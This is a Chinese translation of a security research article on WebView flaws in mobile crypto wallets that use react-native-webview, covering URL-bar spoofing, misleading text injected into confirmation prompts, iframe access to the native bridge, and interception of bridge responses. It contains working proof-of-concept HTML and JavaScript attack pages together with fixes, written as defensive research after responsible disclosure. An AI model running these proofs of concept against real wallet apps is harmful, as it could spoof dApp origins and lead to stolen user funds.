本文深入探讨了加密货币钱包应用中 WebView 的安全问题,重点分析了用户界面攻击、来源欺骗和消息拦截这三种常见漏洞,并提供了相应的防御措施。文章强调了在 WebView 环境下维护信任关系的重要性,以及开发者在设计钱包应用时需要注意的关键安全事项,例如清晰区分可信与不可信的UI元素,全面考虑双向通信桥的攻击面,以及进行广泛的跨平台测试。
设想一下,我们正在制作一个加密货币钱包。在实现了核心钱包功能(如存储私钥、发送代币等)之后,我们可能想添加的下一个功能是与 dApp 集成。
如果我们把钱包做成浏览器扩展,这很容易。我们可以将 JavaScript API 注入到网页中,dApp 可以调用这些 API 来与钱包功能进行交互。这是标准的做法;MetaMask、Phantom 和许多其他钱包都是以这种方式实现的。
但是,如果你看看移动平台,会发现没有大型的加密货币钱包移动浏览器扩展。这是为什么呢?嗯,有几个原因导致大多数人没有选择移动浏览器扩展这条路。
一个原因是,首先对扩展的支持就非常有限。许多移动浏览器通常不支持自定义扩展,而少数支持的浏览器(如 iOS 上的 Safari)与桌面端相比,有非常大的限制。即使支持,更严格的沙盒和安全模型也使得很难深入集成到浏览器中。
但最大的原因可能是,大多数人只会期望使用一个应用程序来完成这件事。大多数用户可能不知道如何在移动浏览器上安装扩展,但他们肯定知道如何从 Apple App Store 或 Google Play 安装应用程序。他们也可能更喜欢原生应用程序而不是基于浏览器的解决方案,这使得开发者可以访问更强大的 API,从而使他们的用户体验更流畅(例如访问加密功能、生物识别等)。
那么,移动应用程序开发者如何制作可以与 dApp 交互的加密货币钱包呢?解决方案是使用 WebView 将 Web 浏览器集成到他们自己的应用程序中:
不幸的是,Web 非常复杂,正确保护显示任意内容的 WebView 很难做对,而且很容易出错。在与客户的合作中,我们经常发现 WebView 的安全问题。在本文中,我们将讨论钱包 WebView 实现中的一些常见漏洞、一些常见的(以及不正确的!)修复方法,以及我们找到的正确保护 WebView 的一些方法。
除了我们的客户工作之外,我们还通过独立的安全研究,负责任地向 MetaMask、Coinbase、Trust Wallet、Kraken、Zerion、Phantom、MyEtherWallet 等披露了类似漏洞。
WebView 是一个嵌入式浏览器窗格,它使用现有的浏览器引擎,如 WebKit 或 Chromium。然而,与普通浏览器不同,应用程序开发者可以完全控制它。用户可以在我们的移动应用程序中浏览到 dApp 网站,应用程序可以将任何它喜欢的 JavaScript API 暴露给 WebView。
我们希望我们的钱包可以在 Android 和 iOS 上运行。到目前为止,最常见的方法是使用 Facebook 的 React Native。在 React Native 中实现 WebView 的最常见的库之一是 react-native-webview。这个库在 Android 上使用 Chromium,在 iOS 上使用 WebKit,并提供一些 shim 代码,使我们只需实现一次 WebView 代码,就可以在两个平台上运行。
到目前为止,react-native-webview 库是最流行的库。我们已经在许多不同的钱包应用程序中看到它被使用,所以我们将在本文中重点介绍它。
当 dApp 调用我们的某个 API 时,它应该向我们发送一些我们可以处理的数据或消息。但是,我们在哪里处理这些数据呢?
如果在 WebView 内部处理敏感的用户数据,那将是一件糟糕的事情,因为网页(可能是不可信的)可能会读取和篡改我们用户的数据。相反,我们需要在 WebView 之外处理这些数据,并且我们可以在两者之间创建一个双向通信桥梁。这使我们可以将所有敏感数据保存在我们的应用程序中。
react-native-webview 库允许我们使用 postMessage
来实现这一点。网页可以向我们的应用程序发送消息,我们的应用程序可以处理它们并向页面发回响应。
这个通信桥梁是我们威胁模型的重要组成部分,因为它将我们信任的应用程序连接到不受信任的、可能恶意的网页。
然而,一个完整的威胁模型还必须考虑用户界面(UI)。如果用户被欺骗去授权恶意请求,那么保护桥梁是没有意义的。因此,我们的威胁模型的第二个关键部分是保持可信和不可信 UI 元素之间清晰的隔离。
在一个标准的移动浏览器中,地址栏是一个可信的 UI 元素;它是用户判断网站 URL 的主要指示器。网页本身只控制地址栏_下方_的像素,即不可信的内容区域。如果一个恶意的网站能够以某种方式覆盖地址栏,它就可以欺骗它的 URL 并欺骗用户。
这种可信和不可信 UI 之间的区别在钱包应用程序中变得更加关键。当 dApp 请求签名时,钱包必须显示一个确认提示。这个提示是一个可信的 UI 元素,显示关键的安全信息,例如请求的来源和正在执行的操作。用户假设此提示中的所有内容都是值得信赖的。
未能正确建模和保护这两个攻击面 — 通信桥梁和可信 UI — 可能会危及钱包的安全性并将用户资金置于风险之中。不幸的是,做对这件事是非常困难的。
在浏览互联网时,用户会遇到许多不同的 dApp。用户可以信任其中的一些 dApp,但另一些可能是恶意的。作为钱包开发者,我们需要让用户能够识别 dApp,并对每个 dApp 快速做出准确的信任决策。
一个显而易见的想法是在顶部的 URL 栏中显示 dApp 的 URL,以便用户始终知道他们正在访问哪个 dApp。不幸的是,当使用 react-native-webview 时,无法通过任何 API 直接访问当前 URL。从文档和我们的一些审计中可以看出,最常见的做法是从 WebView 的某个事件处理程序(如 onShouldStartLoadWithRequest
或 onNavigationStateChange
)中的事件获取 URL,并将其保存在某个状态中。
让我们这样做:
<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(e.url);
}}
/>
我们的钱包应用程序现在看起来像这样:
但这会导致一个问题:如果 URL 是恶意的会怎么样?例如,如果 URL 太长或包含不寻常的 Unicode 字符,会发生什么情况?
上面的图片看起来很正常,对吧?但实际上,当前的 URL 是
"https://malicious.site/" + (" " * 83) + "https://zellic.io/" + (" " * 155)
移动 Chrome 通过以下方式解决这个问题
我们可以在这里遵循 Chrome 的示例吗?首先,让我们尝试仅在 UI 中包含主机名,因为这是最重要的:
<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(new URL(e.url).hostname);
}}
/>
即使在这个早期阶段,代码已经很容易受到攻击!一个网络本地攻击者(例如,在同一个公共 WiFi 上的其他人)可以拦截对 HTTP 网站(如 http://zellic.io↗)的流量,并将其替换为他们自己的恶意网站。由于协议现在已经从 URL 栏中消失了,用户无法判断他们正在访问的网站是不安全的。
因此,我们需要
不幸的是,这仍然不够。即使在实现了所有这些修复之后,这段代码仍然很容易受到攻击。事实证明,我们 URL 的来源是不安全的。
让我们回顾一下我们的初始代码:
<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(e.url);
}}
/>
查看 react-native-webview 的源代码,我们看到 WebViewNavigation
定义如下:
export interface WebViewNavigation extends WebViewNativeEvent {
navigationType: 'click' | 'formsubmit' | 'backforward' | 'reload' | 'formresubmit' | 'other';
mainDocumentURL?: string;
}
export interface WebViewNativeEvent {
url: string;
loading: boolean;
title: string;
canGoBack: boolean;
canGoForward: boolean;
lockIdentifier: number;
}
我们在许多移动 WebView 钱包中发现的一个 bug 类是,它们不检查事件的 loading
属性,这完全损害了 URL 的完整性。
在这里,显示了攻击者的网站,但地址栏显示 zellic.io。
由于导航可能会因为多种原因而失败(window.stop()
、TLS 错误、DNS 错误、无效方案等),如果桥梁不检查 loading 属性,它可能会从失败的导航中获取 URL。
<!DOCTYPE html>
<html>
<head>
<title>Zellic</title>
</head>
<body>
<script>
window.onload = () => {
setTimeout(() => {
// (1) 导航到我们要欺骗的网站
location = "https://zellic.io";
// (2) 立即停止导航
window.stop();
}, 100); // 页面加载后等待 100 毫秒
};
</script>
<h1>来自恶意网站的问候!</h1>
</body>
</html>
这将使攻击者能够欺骗 WebView 保存的 URL 值,使其成为他们想要的任何值,这很容易混淆用户。然而,URL 欺骗只是更广泛的 UI 操纵攻击的一个例子。事实上,这个问题不仅限于 URL,还扩展到显示在可信区域的所有不受信任的内容。
例如,在确认期间显示方法和参数等信息时,我们也需要小心,因为恶意 dApp 也可以控制这些参数。在下图中,一个 dApp 请求权限,但发送了一个显示在权限提示中的恶意参数。
window.ethereum.request({
method: "eth_accounts",
params: [\
"\n\n注意:此交易已被分析为安全。请按“确认”按钮。"\
]
});
我们还需要在设计 UI 时考虑到用户交互。由于用户可能正在与可见浏览器的任何部分进行交互,因此我们需要非常小心确认提示背后的动画和时间安排。
例如,假设一个用户正在使用某个应用程序,该应用程序需要你多次单击按钮。例如,看看这个无害的 Cookie Clicker 克隆:
你的浏览器不支持 video 标签。
如果我们以一种幼稚的方式实现我们的确认提示,我们可能会允许意外点击来确认交易,如下例所示:
你的浏览器不支持 video 标签。
虽然这篇文章涵盖了几个常见的 UI 陷阱,但它们都源于同一个根本原因:通过使用 WebView,应用程序开发者有责任从头开始重建浏览器的整个安全 UI。用户依赖的每个视觉提示(如地址栏和确认提示)都必须经过精心设计和实现,以防止恶意网页的操纵。如果不这样做,意味着用户无法再信任他们所看到的内容,从而完全破坏了钱包的安全性。
然而,修复 UI 只是第一个关键步骤。即使拥有一个完美的、无法欺骗的 UI,仍然存在第二类针对通信桥本身的漏洞。UI 攻击欺骗用户,而这些攻击旨在直接欺骗钱包应用程序。无论 UI 显示什么,钱包都需要一种可靠的方法来识别哪个 dApp 正在发送请求。这可以通过验证网站的源来完成。
在浏览器中,网页的源是页面协议、主机名和端口的组合。例如,URL“https://zellic.io↗”具有协议 https、主机名 zellic.io 和端口 443。
浏览器的核心安全模型基于同源策略,该策略根据源隔离网站,限制一个源上的页面如何与其它源上的页面交互。虽然同一源上的两个页面可以完全访问彼此,但不同源上的两个页面只能以有限且严格定义的方式进行交互。
我们的钱包应用程序可以使用这些源来为每个网站分配一个身份,并对这些身份强制执行权限检查。
这个过程是如何工作的呢?我们希望我们新的移动钱包应用程序与预先存在的 dApp 生态系统兼容,因此我们将实现 Ethereum Provider API↗ 或来自 EIP-6963↗ 的更新的 API。然而,在某些时候,dApp 将尝试调用一个我们需要从桥梁处理的函数。
我们的桥梁是双向的。我们需要一种方式让应用程序向 WebView 发送消息,以及让 WebView 向应用程序发回消息。如前所述,我们通过 postMessage
实现此桥梁通信。
react-native-webview 库使这变得容易,因为无论何时在我们的 WebView 组件上设置了 onMessage
属性,它都会将函数 window.ReactNativeWebView.postMessage
注入到网站中。此函数用于将消息从 WebView 发送到应用程序。
因此,我们需要做的就是注入一些代码来实现 provider,该 provider 最终会调用这个注入的 postMessage
,并将 dApp 的请求发送到桥梁。当我们收到来自桥梁的消息时,我们会处理它,然后将响应发回。
从应用程序向 WebView 发送响应可以通过多种方式完成,但我们看到的最常见的方式是调用 injectJavaScript
方法,以使用响应数据执行一些先前注入的回调函数。
这是使用 react-native-webview 的大多数移动应用程序的实现方式。现在,这提出了一个问题:当我们收到来自桥梁的消息时,我们如何知道发送它的网站的来源?这很重要,因为用户需要能够区分不同的 dApp。如果一个恶意的 dApp 可以冒充一个经过授权的网站,用户可能会损失他们的资金。
如果我们已经正确地实现了 URL 栏的 UI,我们应该知道用户当前在哪个网站上。我们可以用它来验证消息!令人惊讶的是,这导致了我们在一些审计中发现的另一个 bug:window.ReactNativeWebView
也可以注入到子 iframe 中。
你的浏览器不支持 video 标签。
在上面的视频中,网站 str.lc 将一个 iframe 嵌入到恶意网站 z3.is 中。即使 str.lc 没有运行任何 dApp 代码,仍然会出现一个确认提示,其来源为 str.lc。
这是 str.lc 上的代码:
<!DOCTYPE html>
<html>
<body>
<h1>来自 str.lc 的问候</h1>
<h2>此页面仅包含一个 iframe</h2>
<h3>(不运行任何 dApp 方法)</h3>
<iframe src="//z3.is/zellic/conn-frame.html" style="width: 100%"></iframe>
</body>
</html>
正如你所看到的,str.lc 上的页面没有运行任何 dApp 代码。在 HTML 中,<iframe>
元素本质上是将其它网页嵌套在父页面中 — str.lc 将一个 iframe 嵌入到 z3.is 中,其中包含以下代码:
<!DOCTYPE html>
<html>
<body>
<h1>来自 z3.is 的问候</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};
if (!window.ethereum) {
log('window.ethereum not found');
}
const send = (data) => {
if (window.ReactNativeWebView) {
log('using window.ReactNativeWebView')
window.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else {
log('no bridge found');
}
};
send({
"payload": {"method": "eth_accounts"},
"reqId": crypto.randomUUID(),
"type": "PAGE_REQUEST"
});
</script>
</body>
</html>
在子 z3.is iframe 中,window.ethereum
不存在,因为该代码仅注入到顶级主框架中。然而,即使我们不能调用 window.ethereum.request
,我们也可以通过 window.ReactNativeWebView
访问桥梁。因此,如果我们能够逆向工程 window.ethereum.request
发送到桥梁的数据,我们可以直接在我们自己的子框架中发送它。
dApp 可能会使用 iframe 进行广告或分析,因此,如果其中一个 iframe 由恶意攻击者控制,他们可以直接从子 iframe 内部向桥梁发送消息。这允许攻击者欺骗其消息的来源,这可能导致用户意外地确认它并导致资金损失。
但是,window.ReactNativeWebView
仅存在于 Android 上的子 iframe 中,而不存在于 iOS 上。要了解原因,我们需要查看 react-native-webview 代码。
在 RNCWebView.java↗ 中,如果启用了消息传递,则使用名称“ReactNativeWebView”调用 addWebMessageListener
或 addJavascriptInterface
函数,将 RNCWebViewBridge
对象暴露给 WebView 中的页面。此对象包含一个 postMessage
函数,我们的 JavaScript provider 使用该函数与桥梁通信。
如何将此桥梁暴露给子 iframe?如果我们查阅 addJavascriptInterface
函数的 Android 文档↗,我们会看到以下内容:
将提供的 Java 对象注入到此 WebView 中。该对象使用提供的名称注入到网页的所有框架中,包括所有 iframe……
因为该对象暴露给所有框架,所以任何框架都可以获取对象名称并调用其方法。无法从应用程序端判断调用框架的来源,因此应用程序不得假定调用者是可信的,除非应用程序可以保证永远不会将第三方内容加载到 WebView 中,即使在 iframe 内部也是如此。
因此,所有子框架都可以访问桥梁,这意味着我们无法判断我们收到的任何消息的发送者。
为什么这在 iOS 上不起作用?查看 RNCWebViewImpl.m↗,我们看到以下代码:
static NSString *const MessageHandlerName = @"ReactNativeWebView";
// …
- (void)setMessagingEnabled:(BOOL)messagingEnabled {
_messagingEnabled = messagingEnabled;
self.postMessageScript = _messagingEnabled ?
[\
[WKUserScript alloc]\
initWithSource: [\
NSString\
stringWithFormat:\
@"window.%@ = window.%@ || {};"\
"window.%@.postMessage = function (data) {"\
" window.webkit.messageHandlers.%@.postMessage(String(data));"\
"};", MessageHandlerName, MessageHandlerName, MessageHandlerName, MessageHandlerName\
]\
injectionTime:WKUserScriptInjectionTimeAtDocumentStart\
// …\
forMainFrameOnly:YES\
] :
nil;
// …
}
此代码看起来是安全的,因为它将 forMainFrameOnly
设置为 YES
。但是,如果我们仔细查看实际执行的代码,它会将 window.ReactNativeWebView.postMessage
设置为一个 shim,该 shim 实际上调用另一个函数 window.webkit.messageHandlers.ReactNativeWebView.postMessage
。
事实证明,通过调用函数 window.webkit.messageHandlers.ReactNativeWebView.postMessage
,子 iframe 可以直接与 iOS 上的桥梁对话,这意味着此攻击在 iOS 和 Android 上都有效:
<!DOCTYPE html>
<html>
<body>
<h1>来自 z3.is 的问候</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};
const send = (data) => {
if (window.ReactNativeWebView) {
log('using window.ReactNativeWebView')
window.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else if (window?.webkit?.messageHandlers?.ReactNativeWebView) {
log('using window.webkit.messageHandlers.ReactNativeWebView');
window.webkit.messageHandlers.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else {
log('no bridge found');
}
};
send({
"payload": {"method": "eth_accounts"},
"reqId": crypto.randomUUID(),
"type": "PAGE_REQUEST"
});
</script>
</body>
</html>
由于子 iframe 可以直接与桥梁对话,我们无法使用 WebView 的当前 URL 来确定消息的发送者。我们在审计中看到的另一种实现方式是查看消息事件本身。
onMessage
事件处理程序接收 WebViewMessageEvent
类型的事件,它具有以下形式:
export type WebViewMessageEvent = NativeSyntheticEvent<WebViewMessage>;
export interface WebViewMessage extends WebViewNativeEvent {
data: string;
}
由于它扩展了上面的相同 WebViewNativeEvent
类型,因此该事件具有一个 url
属性,我们可以读取该属性以确定发送者的 URL。然而,事实证明这可能仍然不准确,因为旧版本的 react-native-webview 的事件的 url
属性指向主框架。
在这些旧版本中,url
属性将是在事件创建时主框架的当前 URL。在两种情况下,这可能不正确:
较新版本的 react-native-webview 应该修复这些问题,但我们仍然经常看到这个问题。但是,为了增加深度防御,你可以为每个网站注入一个随机Token,并要求它们在处理其请求之前发回正确的Token。
正如我们所看到的,子 iframe 可能能够向桥梁发送消息,这并不理想。然而,来自桥梁的响应仍然只发送到主框架,这意味着恶意的子 iframe 无法读取响应,对吗?
正如你可能已经猜到的那样,从桥梁返回到主页面的通信可能会被拦截。要了解原因,我们需要了解桥梁必须将数据发送回 WebView 的方法。
该文档指定了三种与 WebView 通信的方法:injectedJavaScript
属性、injectJavaScript
函数和另一个 postMessage
函数。第一个用于在页面加载时注入 JavaScript,因此它对于注入我们的 provider 代码很有用,但对于从桥梁进行通信没有用。
后两种方法非常适合桥梁通信,因为它们使你能够在运行时将 JavaScript 注入或将消息发送到 WebView 中。
桥梁可能具有如下代码:
const getInjectableJSMessage = (resp) => {
return `window.ethereum.handlers.onMessage(${resp})`;
};
const processMessage = async (origin, req) => {
const data = await handlers.process(origin, req.payload);
const resp = {
payload: data,
reqId: req.reqId
};
webViewRef.current.injectJavaScript(getInjectableJSMessage(resp));
};
上面的 processMessage
函数接收来自 dApp 的来源和请求,并运行 handlers.process
,从而获取要发送回 WebView 的数据。然后,它在响应上调用 injectJavaScript
。
然而,这里存在一个竞争条件:无法判断我们要将 JavaScript 注入到的网站是否与最初发送请求的网站相同!最初发送请求的 dApp 可能会导航到一个恶意的 dApp,该 dApp 会接收到注入的代码。然后,恶意的 dApp 可以覆盖 window.ethereum.handlers.onMessage
与任何函数,以窃取来自桥梁的响应。这意味着我们不仅无法判断谁发送了请求,也无法判断谁在接收响应。
这个问题也可以与前一个问题结合起来:一个恶意的 iframe 可以通过使用 window.ReactNativeWebView.postMessage
或 window.webkit.messageHandlers.ReactNativeWebView.postMessage
向桥梁发送消息,桥梁会错误地认为该消息来自主框架。然后,它可以将顶层窗口导航到自己的恶意页面,该页面可以拦截响应。这使子 iframe 可以完全访问桥梁的请求和响应。
你的浏览器不支持 video 标签。
在上面的视频中,网站 str.lc 首先请求访问用户的地址,然后尝试签名 0x41424344
。然而,在用户确认请求之前,WebView 导航到 z3.is。以下是 str.lc 上的代码:
<!DOCTYPE html>
<html>
<body>
<h1>来自 str.lc 的问候</h1>
<button onclick="go()">go</button>
<script>
async function go() {
const [addr] = await window.ethereum.request({ method: "eth_accounts" });
if (!addr) return;
window.ethereum.request({
method: "personal_sign",
params: [addr, "0x41424344"],
});
await new Promise(r => setTimeout(r, 500));
location = "https://z3.is/zellic/sig-intercept.html";
}
</script>
</body>
</html>
运行 personal_sign
后,出现确认窗口。在后台,dApp 导航到 z3.is。这可以通过多种方式发生:恶意的 iframe、以前单击的某些链接完成导航等等。在 z3.is 上,我们有此代码,该代码拦截该请求:
<!DOCTYPE html>
<html>
<body>
<h1>来自 z3.is 的问候</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};
setInterval(() => {
window.ethereum.handlers.onMessage = (data) => {
log('消息被拦截:' + JSON.stringify(data, null, 2));
};
}, 100);
</script>
</body>
</html>
一个幼稚的修复方法是在我们发送响应之前检查来源:
const processMessage = async (requestOrigin: string, req: DAppPageMessage) => {
const data = await handlers.process(requestOrigin, req.payload as DAppRequest);
if (!data) return;
const resp: DAppPageMessage = {
type: DAppPageMessageType.Response,
payload: data,
reqId: req.reqId
};
if (currentWebViewOrigin !== requestOrigin) return; // (!) 添加了新检查
webViewRef.current!.injectJavaScript(getInjectableJSMessage(resp));
};
然而,这也不起作用。这会将竞争条件的时间窗口减少到最后的 injectJavaScript
行,但该窗口仍然存在。攻击者可以通过用大量数据膨胀响应来扩展该窗口,因为桥梁仍然需要在注入数据之前序列化数据。
为了防止消息拦截,注入的 JavaScript 需要在传输数据之前检查来源是否正确。例如,
const getInjectableJSMessage = (resp, origin) => {
return `
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
`;
};
这个例子应该是安全的,因为恶意页面无法覆盖 location.origin
,因此包含响应的代码不会运行。但是,如果使用 window.origin
,则这是不安全的,因为它可以被任何页面覆盖。注入的代码需要尽可能少,因为任何被调用的函数都可能被接收页面覆盖。
例如,这是不安全的,因为攻击者可以覆盖 console.debug
:
const getInjectableJSMessage = (resp, origin) => {
return `
console.debug("[DEBUG] message", ${resp}, "received from", origin);
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
`;
};
这也是不安全的:
const getInjectableJSMessage = (resp, origin) => {
return `
(function() {
console.debug("[DEBUG] message received from", origin);
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
})();
`;
};
即使响应没有发送到 console.debug
,攻击者也可以使用一个从调用函数读取arguments↗的函数来覆盖 console.debug
,例如
console.debug = function () {
console.log(arguments.callee.caller);
};
为加密货币钱包应用实现安全的 WebView 具有欺骗性的复杂性。它看起来应该很简单——移动操作系统已经为你提供了可以创建可自定义浏览器的 API,而像 react-native-webview 这样的库似乎可以为你处理所有剩余的复杂性。但是,这项简单的任务很快变成了一个充满安全漏洞的雷区,一个小小的错误可能会直接损害用户的资金。
本文讨论的三个核心漏洞类型是一些最常见的漏洞,但它们远非唯一的漏洞。在我们的工作中,我们遇到了各种其他严重问题,包括不安全的 WalletConnect 实现、不安全 的 深度链接处理、事件处理中 的 细微竞争条件以及密码学错误实现。
所有这些漏洞都有一个共同点:它们利用了在不受信任 的 Web 内容在你受信任 的 加密货币应用上下文中运行 的 环境中维护信任 的 根本挑战,这模糊了用户可以信任和不能信任 的 内容之间 的 界限。
以下是针对致力于加密货币钱包应用 的 开发人员 的 一些关键要点:
这里讨论 的 原则和技术不仅适用于加密货币钱包,还适用于在处理敏感操作 的 同时嵌入 Web 内容 的 任何应用程序。随着移动生态系统 的 不断发展以及 WebView 变得越来越普遍,理解和缓解这些攻击媒介只会变得更加重要。
Zellic 专注于保护新兴技术。我们 的 安全研究人员发现了最有价值的目标的漏洞,从财富 500 强企业到 DeFi 巨头。
开发人员、创始人和投资者信任我们 的 安全评估,以便快速、自信地交付产品,且没有严重漏洞。凭借我们在现实世界中 的 攻击性安全研究背景,我们发现了其他人错过 的 东西。
- 原文链接: zellic.io/blog/webview-s...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!